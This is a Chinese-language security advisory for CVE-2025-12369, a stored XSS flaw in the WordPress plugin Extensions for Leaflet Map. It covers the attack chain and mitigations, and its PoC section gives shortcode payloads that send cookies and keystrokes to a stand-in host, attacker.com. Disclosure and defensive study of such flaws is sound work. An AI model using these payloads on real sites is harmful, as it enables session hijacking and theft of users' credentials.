CVE-2025-12369 CVSS 6.4 中危

CVE-2025-12369 | WordPress Extensions for Leaflet Map 存储型XSS漏洞

披露日期: 2025-11-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12369

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Extensions for Leaflet Map (WordPress插件)

漏洞概述

CVE-2025-12369是WordPress插件"Extensions for Leaflet Map"中的一个高危安全漏洞。该插件用于在WordPress网站上集成Leaflet地图功能，广泛应用于需要展示地理空间数据的网站。漏洞源于geojsonmarker短代码功能对用户输入的属性值缺乏充分的输入清理和输出转义处理。攻击者只需拥有WordPress网站的Contributor级别或更高权限账户，即可利用此漏洞在受影响的页面中注入恶意JavaScript脚本。由于是存储型XSS漏洞，恶意代码会被永久保存在数据库中，当其他用户访问包含恶意内容的页面时，注入的脚本会自动执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。该漏洞影响4.7及以下所有版本，CVSS评分6.4，属于中等严重程度。漏洞于2025年11月4日由Wordfence安全团队发现并披露，建议用户立即更新到最新修复版本。

技术细节

该漏洞存在于Extensions for Leaflet Map插件的geojsonmarker功能模块中，具体位置在geojsonmarker.php文件第90行附近。漏洞产生的根本原因是插件在处理短代码属性时，直接将用户提供的参数值输出到HTML页面，而没有进行适当的输入验证和输出编码。攻击者可以通过构造包含恶意JavaScript代码的属性值（如onerror、onload等事件处理器）来实现XSS攻击。由于WordPress的Contributor角色允许创建和编辑帖子内容，攻击者可以在帖子或页面中插入带有恶意payload的geojsonmarker短代码。例如：使用包含alert()函数的JavaScript代码作为marker属性值，当页面被访问时，浏览器会将其解析为可执行脚本并执行。攻击者可以利用此漏洞窃取管理员Cookie、伪造管理操作或在网站上进行钓鱼攻击。由于payload存储在数据库中，即使后续修复漏洞，已注入的恶意内容仍需手动清理。

攻击链分析

STEP 1

步骤1

攻击者获取WordPress网站的Contributor或更高权限账户

STEP 2

步骤2

攻击者在帖子或页面编辑界面中插入带有恶意payload的geojsonmarker短代码

STEP 3

步骤3

恶意payload随页面内容被永久存储到WordPress数据库中

STEP 4

步骤4

当其他用户访问包含恶意内容的页面时，浏览器解析并执行注入的JavaScript代码

STEP 5

步骤5

攻击者通过执行的脚本窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Contributor+ role required -->
<!-- CVE-2025-12369 PoC: Stored XSS via geojsonmarker shortcode -->

<!-- Basic XSS PoC -->
[geojsonmarker marker='" onerror="alert(document.domain)" data-xss="']

<!-- Cookie stealing PoC -->
[geojsonmarker marker='" onload="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" style="']

<!-- Session hijacking PoC -->
[geojsonmarker marker='<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">']

<!-- Keylogger PoC -->
[geojsonmarker marker='" onkeydown="document.location=\'https://attacker.com/capture?k=\'+event.key" data="']

影响范围

Extensions for Leaflet Map <= 4.7

防御指南

临时缓解措施

如果无法立即更新插件，可采取以下临时缓解措施：1) 临时禁用或删除Extensions for Leaflet Map插件；2) 使用WordPress防火墙规则阻止包含可疑geojsonmarker短代码的请求；3) 加强对Contributor及以上权限账户的管理，启用双因素认证；4) 在Web应用防火墙(WAF)中配置规则检测和拦截XSS攻击特征；5) 手动审查近期创建的页面和帖子内容，删除可疑的geojsonmarker短代码。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表